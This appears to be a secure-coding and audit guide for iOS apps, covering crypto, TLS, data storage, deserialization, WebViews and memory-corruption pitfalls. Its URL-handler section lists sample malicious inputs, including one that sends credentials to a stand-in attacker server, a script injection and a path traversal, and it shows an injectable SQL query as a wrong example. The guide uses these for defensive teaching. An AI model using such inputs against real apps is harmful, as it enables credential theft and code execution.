Secure iOS Application Development

Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 20

Secure iOS

application
development
Guidelines for developers and Source Code Auditors for secure
iOS development
Nikhil Firke
Contents
1:- API-level issues.......................................................................................................................4

1.1) API: Generate cryptographically-strong random numbers............................4

1.2) API: Prevent leaking sensitive data during app backgrounding..................4

1.3) API: Handle the pasteboard securely......................................................................4

1.4) API: Disable auto-correction for sensitive input fields.....................................5

2:- Data-handling issues............................................................................................................6

2.1) Handling data: Deserialize data securely..............................................................6

2.2) Handling data: Avoid SQL Injection........................................................................6

3:- App hardening........................................................................................................................7

3.1) Hardening: Enable exploit mitigation compile-time options........................7

3.2) Hardening: Check Xcode’s static analysis report................................................7

4:- Network-level issues............................................................................................................8

4.1) Networking: Use GTMSessionFetcher communication securely..................8

4.2) Networking: Configure App Transport Security (ATS).....................................8

4.3) Networking: Use native TLS/SSL securely.............................................................8

5:- Issues with IO........................................................................................................................10

5.1) IO: Validate incoming URL handler calls.............................................................10

5.2) IO: Validate outgoing requests and URL handlers..........................................10

5.3) IO: Prevent WebView UI redressing......................................................................11

5.4) IO: Avoid XSS in WebViews......................................................................................11

6:- Memory corruption issues...............................................................................................12

6.1) Memory: Prevent NULL byte injection.................................................................12

6.2) Memory: Prevent format string attacks...............................................................12

7:- Security considerations for apps built with Swift...................................................14

8:- Guide: Where should I store my data on iOS?........................................................15

8.1) Where can I store my data?.....................................................................................15

8.2) Does the OS protect the keychain? How?..........................................................16


8.3) Does the OS protect my files on disk? How?....................................................16

8.4) Where should I store my data?...............................................................................17

9:- Best practices for storage................................................................................................18

9.1) Store files securely.......................................................................................................18

9.2) Create secure temporary files.................................................................................19

9.3) Avoid insecure destination files and APIs...........................................................19


Secure iOS application development
This guide is a collection of the most common vulnerabilities found in iOS
applications. The focus is on vulnerabilities in the applications’ code and only
marginally covers general iOS system security, Darwin security, C/ObjC/C++ memory
safety, or high-level application security.

Nevertheless, hopefully the guide can serve as training material to iOS app
developers that want to make sure that they ship a more secure app. Also, iOS
security reviewers can use it as a reference during assessments.

Just like any software, this guide will rot unless we update it. We
encourage everyone to help us on that, just open an issue or send a pull
request!
1:- API-level issues
1.1) API: Generate cryptographically-strong random numbers
Generally, iOS provides easy-to-use cryptographic interfaces. Don’t implement
custom crypto algorithms (besides crypto problems, it can also cause issues during
App Store review).

Only supply cryptographically-strong random numbers to cryptographic


functions.

Audit tip: Check that all cryptographically secure random numbers are


fetched using the Randomization Services programming interface.

Correct example:

int r = SecRandomCopyBytes(kSecRandomDefault, sizeof(int), (uint8_t*)


&res);

1.2) API: Prevent leaking sensitive data during app backgrounding


When iOS backgrounds an app, a screenshot of the app might get saved to an
unencrypted cache on the local file system. This happends for example when the user
presses the home button. Apple recommends developers to hide any sensitive
information before this occurs.

If the app is handling sensitive user data, verify that code exists to hide or blur
the sensitive elements or the full window.

Audit tip: Check for hiding code in applicationDidEnterBackground.


Alternatively, you can set allowScreenShot.
Using ignoreSnapshotOnNextApplicationLaunch  seems broken.

1.3) API: Handle the pasteboard securely


If the pasteboard is marked persistent it may get saved to local storage along
with potentially sensitive user data. Also, make sure to clear pasteboard when an
application backgrounds.

Audit tip: Check for UIPasteboardNameGeneral & UIPasteboardNameFind.


1.4) API: Disable auto-correction for sensitive input fields
Some iOS versions cache keyboard entries for auto-correction. This is disabled
for password fields but should be disabled for other sensitive fields (e.g. credit card
number) as well. Set the following to prevent this:

UITextField autoCorrectionType = UITextAutocorrectionTypeNo


or mark the text field as secure (hidden input) with
the secureTextEntry attribute.
Audit tip: Check for sensitive non-password input fields (e.g. credit card)
which do not have UITextAutoCorrectionNo.
2:- Data-handling issues
2.1) Handling data: Deserialize data securely
During deserialization, some objects are re-instantiated in memory. Thus, if
the serialized data originates from an untrusted source, code execution might be
possible.

When writing your own classes, it is generally a good idea to comply with
the NSSecureCoding protocol, to make sure that classes constructed from external
sources are the intended class. It is also required by Apple for classes that are used
with inter-application communication (UIActivityViewController).
Audit tip: Check for insecure deserialization from untrusted sources. Some
deserialization (NSCoding, NSCoder) must have checks for the deserialized data to be
within bounds.
Audit tip: Other deserialization
(CFBundle, NSBundle, NSKeyedUnarchiverDelegate, didDecodeObject, awakeAfterUsingCoder)
can directly lead to code execution by returning different objects during
deserialization.
Audit tip: Check that nib files are not dynamically loaded from untrusted
origins.

2.2) Handling data: Avoid SQL Injection


If attacker-supplied strings are concatenated to a SQL query, SQL injection on
a sqlite database may occur. This might leak sensitive information from the database
or inject malicious payloads.

Audit tip: Check for calls to sqlite3_exec() and other non-prepared SQL


functions. The functions sqlite3_prepare*()should be used instead.
Incorrect example:

NSString *uid = [myHTTPConnection getUID];


NSString *statement = [NSString StringWithFormat:@"SELECT username FROM
users
where uid = '%@'",uid];
const char *sql = [statement UTF8String];

Correct example:

const char *sql = "SELECT username FROM users where uid = ?";
sqlite3_prepare_v2(db, sql, -1, &selectUid, NULL);
sqlite3_bind_int(selectUid, 1, uid);
int status = sqlite3_step(selectUid);
3:- App hardening
3.1) Hardening: Enable exploit mitigation compile-time options
In order to make exploiting iOS applications harder for the attacker, make sure
you enable platform exploit mitigation options.

Audit tip: Check that compiler and linker flags for exploit mitigation are
enabled.
Flags to enable:

 Objective-C automatic reference counting (-fobjc-arc) helps to prevent use-


after-free and use-after-release bugs. Enabling ARC might not be always
possible with shared code, performance-sensitive code, or legacy codebases.
Check with:
otool -I -v binary | grep _objc_autorelease
 Stack smashing protection (-fstack-protector-all). This potentially helps to
prevent stack buffer overflows. Check with (should be on by default):
otool -I -v binary | grep stack_chk_guard
 Full ASLR - position independent executable (-pie). This makes it harder for
the attacker to find known code locations. (Apple App Store guards this for
iPhone 5+ targets). Check with (should be on by default):
otool -hv binary | grep PIE
3.2) Hardening: Check Xcode’s static analysis report
Static analysis can help to reveal memory leak, use-after-free, use-after-
release, and other bugs.

Audit tip: Check the output of Xcode’s "Build & Analyze"


4:- Network-level issues

4.1) Networking: Use GTMSessionFetcher communication securely


By default, GTMSessionFetcher won’t load any non-https URL schemes.

Audit tip: Check that no exceptions are made by


using allowedInsecureSchemes, allowLocalhostRequest orGTM_ALLOW_INSECURE_REQUESTS.

4.2) Networking: Configure App Transport Security (ATS)


By default, apps linked against iOS 9 cannot make unprotected HTTP
connections. Review that the ATS configuration is correct.

Audit tip: Check that no exceptions are done in the Info.plist.


Audit tip: Check that the list of HTTPS domains in the Info.plist is correct.

In iOS 10, some new exceptions are available:

1. Exception for streaming media using AVFoundation


2. NSAllowsArbitraryLoadsInWebContent will exempt ATS in WKWebView

4.3) Networking: Use native TLS/SSL securely


SSL should be used on all communication to prevent attackers from reading
or modifying traffic on the network.

Audit tip: Check that all APIs besides local WebViews use SSL (https scheme,
no http).
Audit tip: Check that authorization tokens are never be passed in URLs but
only in headers of HTTPS requests (e.g. as a Cookie header). The concern here is that
they are unintentionally logged on a ISP/company proxy or accidentally leaked
through referrers without the user’s knowledge.

Audit tip: Check that no debug options for SSL have been enabled in the
release build:

 NSStream:
o kCFStreamSSLLevel
o kCFStreamSSLAllowsExpiredCertificates
o kCFStreamSSLAllowsAnyRoot
o kCFStreamSSLAllowsExpiredRoots
o kCFStreamSSLValidatesCertificateChain
 NSURLRequest
o setAllowsAnyHTTPSCertificate
 NSURLConnection
o continueWithoutCredentialForAuthenticationChallenge
 ValidatesSecureCertificate
 setValidatesSecureCertificate
5:- Issues with IO

5.1) IO: Validate incoming URL handler calls


URI handlers are special entry points to the application and can be called from
email, chat, browser or other applications. They can be used as delivery vehicles for
attacks that exploit logic bugs, XSS, XSRF-style bugs or buffer-overflows.

Audit tip: Check for URI handlers registered and handled by the application
(registerForRemoteNotificationTypes and handleOpenURL).

To illustrate the problem, some attack ideas that could be feasible:

myapp://cmd/run?program=/path/to/program/to/run
myapp://cmd/set_preference?use_ssl=false
myapp://cmd/[email protected]&file=some/data/file
myapp://cmd/delete?data_to_delete=my_document_ive_been_working_on
myapp://cmd/login_to?server_to_send_credentials=malicious.webserver.com
myapp://cmd/adduser='>"><script>javascript to run goes here</script>
myapp://use_template?template=/../../../../../../../../some/other/file
Audit tip: Check that userInfo and launchOptions are validated during parsing
of URI request. For actions after the URL handler, it is important to ask user for
confirmation before taking action.

Additionally, note that other applications could be able to register the same
URL handler and intercept requests. When passing highly sensitive information it is
preferable to sign and/or encrypt URL handler-transmitted data to prevent leakage
and/or forgery.

5.2) IO: Validate outgoing requests and URL handlers


Audit tip: Check for outgoing requests made by an UIWebView. Only a certain
whitelist of schemes should be allowed (http/https) to
avoid file:, facetime:, facetime-audio:, sms:, or other app-id: URLs. Make sure to
filter tel: URLs (or require user confirmation) because they can be used to
automatically dial a cost incurring phone number.
The correct way to check an outgoing request is shown below:

- (BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:


(NSURLRequest
*)request navigationType:(UIWebViewNavigationType)navigationType;

If you are using WKWebView you'll need to use the -


webView:decidePolicyForNavigationAction:decisionHandler:  method in
the WKNavigationDelegate protocol to catch requests like these.
5.3) IO: Prevent WebView UI redressing
Audit tip: Check for WebViews which would allow for browser UI redressing,
for example a full screen WebView which could display an UI similar to the original
App or to a login screen. Such WebViews could be used by attackers to do phishing.
Audit tip: Check for WebViews which would allow browsing the web like a
browser but don't provide typical browser security UI like an URL bar indicating the
domain and TLS status. Also, make sure that if the WebView allows browsing the
web, common browser security feature like mixed-content prevention are still
present in the WebView.

5.4) IO: Avoid XSS in WebViews


Audit tip: Check how the UIWebView/WKWebView is handling strings because
attacks similar to XSS can occur. An XSS in a UIWebView can potentially leak local files,
for example the address book. Also make sure that the WebView is not prone to
redirection which can be utilized for phishing.
6:- Memory corruption issues

6.1) Memory: Prevent NULL byte injection


CF/NS strings contain NULL bytes at different locations. When an insecure
conversion occurs a string could terminate early.

Audit tip: Check for incorrect conversion between the raw bytes of


the CFDataRef / CFStringRef / NSString and C strings.
This example shows incorrect conversion:

NSString *fname = @"user_supplied_image_name\0";


NSString *sourcePath = [[NSString alloc] initWithFormat:@"%@/%@.jpg",
[[NSBundle mainBundle] resourcePath],
fname];
printf("%s", [sourcePath
UTF8String]);
// prints [...]Products/Debug/user_supplied_image_name without the .jpg
ending

6.2) Memory: Prevent format string attacks


Format string attacks can be mounted on traditional functions
(printf, scanf, syslog, etc.), but also on iOS platform functions. The Xcode Build &
Analyze option should catch most missing format strings.
Audit tip: Check for missing format strings for the following functions:
 CFStringCreateWithFormat
 CFStringCreateWithFormatAndArguments
 CFStringAppendFormat
 [NSString stringWithFormat:] and other NSString methods that take formatted
strings as arguments:
o [NSString initWithFormat:]
o [NSString *WithFormat]
o [NSString stringByAppendingFormat]
o appendingFormat

o Wrong example:

[x stringByAppendingFormat:[UtilityClass
formatStuff:attacker.text]];

o Correct example:

[x stringByAppendingFormat:@"%@", [UtilityClass
formatStuff:attacker.text]];
 [NSMutableString appendFormat]
 [NSAlert alertWithMessageText]
 [NSPredicate predicateWithFormat:]
 [NSPredicate predicateWithFormat:arguments:]
 [NSException raise:format:] and [NSException raise:format:arguments:]
 NSRunAlertPanel and other Application Kit functions that create or return
panels or sheets
 [NSLog]
7:- Security considerations for apps built with Swift
Keep the following in mind if you're developing iOS apps with Swift:

 Swift uses Automatic Reference Counting (ARC) by default, which is very


helpful.
 If string interpolation is used, there is no risk of a format string attack.
 An integer overflow causes a runtime error.
 Buffer overflows generally cannot occur due to lack of pointers, except
when UnsafePointer is used for C-compatibility.

Also, when handling sensitive memory, be aware that Swift won’t easily let you
erase sensitive data, e.g. passwords. One way to do this is to
use UnsafeMutablePointer or an UnsafeCollection (see Secure Memory for Swift
Objects for more information).
8:- Guide: Where should I store my data on iOS?
8.1) Where can I store my data?

 Keychain Services
o Encrypted key/value store designed to hold:
 Generic passwords
 Internet passwords (password + protocol + server)
 Certificates
 Private Keys
 Identities (certificate + private key)
o Max raw value size is ~16MB.
o Keychains may be shared (this is how SSO works on iOS) or private to
the app.
 Keychains can only be shared by apps from the same vendor.
 Enterprise/Dogfood apps have a different vendor ID compared
to Prod.

Your application has access to its own app-specific filesystem sandbox; please
refer to Apple’s File System Programming Guide (specifically, the iOS sections) for
more details.

 Documents/
o User-created data that should be visible to the user
o Optionally visible to the user in iTunes
 Subdirectories generally aren’t, special tools can still open them
o Backed up
 User can disable backup for specific apps
 App can disable paths by setting NSURLIsExcludedFromBackupKey
 Library/Caches/
o Semi-persistent cached files
o Not visible to the user
o Not backed up
o May be deleted by the OS at any time if the app is not running
 Managed automatically in response to storage pressure
 Library/Application Support/
o Persistent files necessary to run the app
o Not visible to the user
o Backed up
 User can disable backup for specific apps
 App can disable paths by setting NSURLIsExcludedFromBackupKey
 Library/Preferences/
o As /Application Support/
o By convention, only files created with NSUserDefaults
 Library/*
o As /Application Support/
 tmp/
o Non-persistent cached files
o Not visible to the user
o Not backed up
o Periodically deleted by the OS when the app is not running

8.2) Does the OS protect the keychain? How?


The keychain, on modern iOS devices (post-Touch ID) is secured using
a hardware module. There are no known attacks that directly compromise the
keychain via hardware or software; jailbroken devices are vulnerable to certain
attacks.

Keychain backups (to iCloud) cannot be recovered without the user’s iCloud
password. Keychain data is not included in local backups unless that backup is
encrypted with a password.

8.3) Does the OS protect my files on disk? How?


Yes, the OS provides four levels of protection. Note that backups to iCloud are
always encrypted and that backups in iTunes are optionally encrypted; unencrypted
backups do not back up data marked in any of the protected classes below. The
device’s filesystem is encrypted on modern iOS on the DMA path; these options add
extra layers of security.

 NSFileProtectionComplete - most secure


o Only readable if device is unlocked.
o File is closed when the device is locked.
o Suitable for most apps and data.
 NSFileProtectionCompleteUnlessOpen
o File can only be opened when the device is unlocked.
o File is not closed when the device is locked.
o File is encrypted when the last open handle is closed.
o Suitable for data that is uploaded in the background, etc.
 NSFileProtectionCompleteUntilFirstUserAuthentication  (default)
o File is inaccessible until the device is unlocked once after boot.
o Suitable for background processes that should start ASAP after boot.
 Geofence data
 Bluetooth accessories (e.g. Android Wear)
o In general, all user data should be at least at this level.
 NSFileProtectionNone - least secure
o No protection.
o Suitable for certain applications that must access data immediately on
boot without any user interaction. This encryption/decryption is
handled by the OS and the keychain transparently. The relevant
decryption key is created from the keychain when appropriate and
erased from memory when appropriate; see this guide for more details.

8.4) Where should I store my data?

 Sensitive and persistent data - credentials, tokens, etc? Keychain.


 Large sensitive and persistent files?
o Save it to the Library/* directory.
o Exclude it from backups.
 Keychain backups have a higher level of security than filesystem
backups.
o Set appropriate encryption options - as secure as possible.
 Sensitive cache data?
o Save it to Library/Caches/*
o Set appropriate encryption options - as secure as possible.
 Application configuration?
o NSUserDefaults? Library/Preferences/[Name].plist
o Other/custom format? Library/Application Support/*
o Set appropriate encryption options - as secure as possible.
 Persistent content that should be backed up?
o User-generated and user-visible?
 Documents/* directory.
 Don’t use subdirectories if you want users to use iTunes file
sharing.
 NSFileProtectionCompleteUntilFirstUserAuthentication  is
probably the most appropriate option for encryption, if desired.
 Note that malware on a trusted computer can access this
directory if iTunes file sharing is enabled.
o Shouldn’t be visible to the user?
 Library/Application Support/*
 Set appropriate encryption options.
9:- Best practices for storage
9.1) Store files securely
A stolen or lost iOS device can be potentially jailbroken or disassembled and
the contents of the local file system can be read. Therefore iOS app developers need
to make sure to encrypt sensitive information like credentials or other private
information.

Keychain already allows you to prevent items from ever leaving the device or
be included in backups.

In addition to that:

 Items can be made to require user consent when accessed;


 That consent can be set to Touch ID with the device password as fallback;
 Items can be made inaccessible if passcode is removed.

The safest scenario would require flagging items as device-only, requiring


Touch ID for access, and invalidated if passcode is ever removed.

Remember: you can also store any piece of text in Keychain, not just username
and password credentials. Apple uses this to synchronize Wifi credentials between
devices so that when you connect your laptop to a network, your phone will be able
to as well a few seconds later when synchronization finishes, saving you from
entering those long passwords on your phone. For more information on the details
check out the Apple iOS Security white paper.

Audit tip: Check for stored data which is not


using kSecAttrAccessibleWhenUnlocked or kSecAttrAccessibleAfterFirstUnlock. For
example, if it is using kSecAttrAccessibleAlways, then the data is not sufficiently
protected.
Audit tip: Check for files created with NSFileProtectionNone - they have no
protection. Note that files created without explicit protection do not necessarily
use NSFileProtectionNone. Make sure one of the following is used:

 NSFileProtectionComplete
 NSFileProtectionCompleteUnlessOpen  (key stays in memory while locked and file
opened)
 NSFileProtectionCompleteUntilFirstUserAuthentication  (key stays in memory
when locked)
9.2) Create secure temporary files
Audit tip: Check that secure temporary files and directories are used - for
example, URLForDirectory, NSTemporaryDirectory, FSFindFolder(kTemporaryFolderType).
See also Create Temporary Files Correctly in the Apple Secure Coding Guide.

9.3) Avoid insecure destination files and APIs


Audit tip: Check for private information (PII) in NSLog/Alog, plist or local
sqlite databases. It may not be encrypted.

Audit tip: Check that only appropriate user-specific non-sensitive information


is written to iCloud storage. Use NSURLIsExcludedFromBackupKey to prevent backup of
files to iCloud and iTunes.
Audit tip: For the Keychain, check that kSecAttrSynchronizable is false if the
item is not intended for iCloud Keychain backup (it is false by default).
Audit tip: Check that NSUserDefaults does only contain settings and no
personal information.

You might also like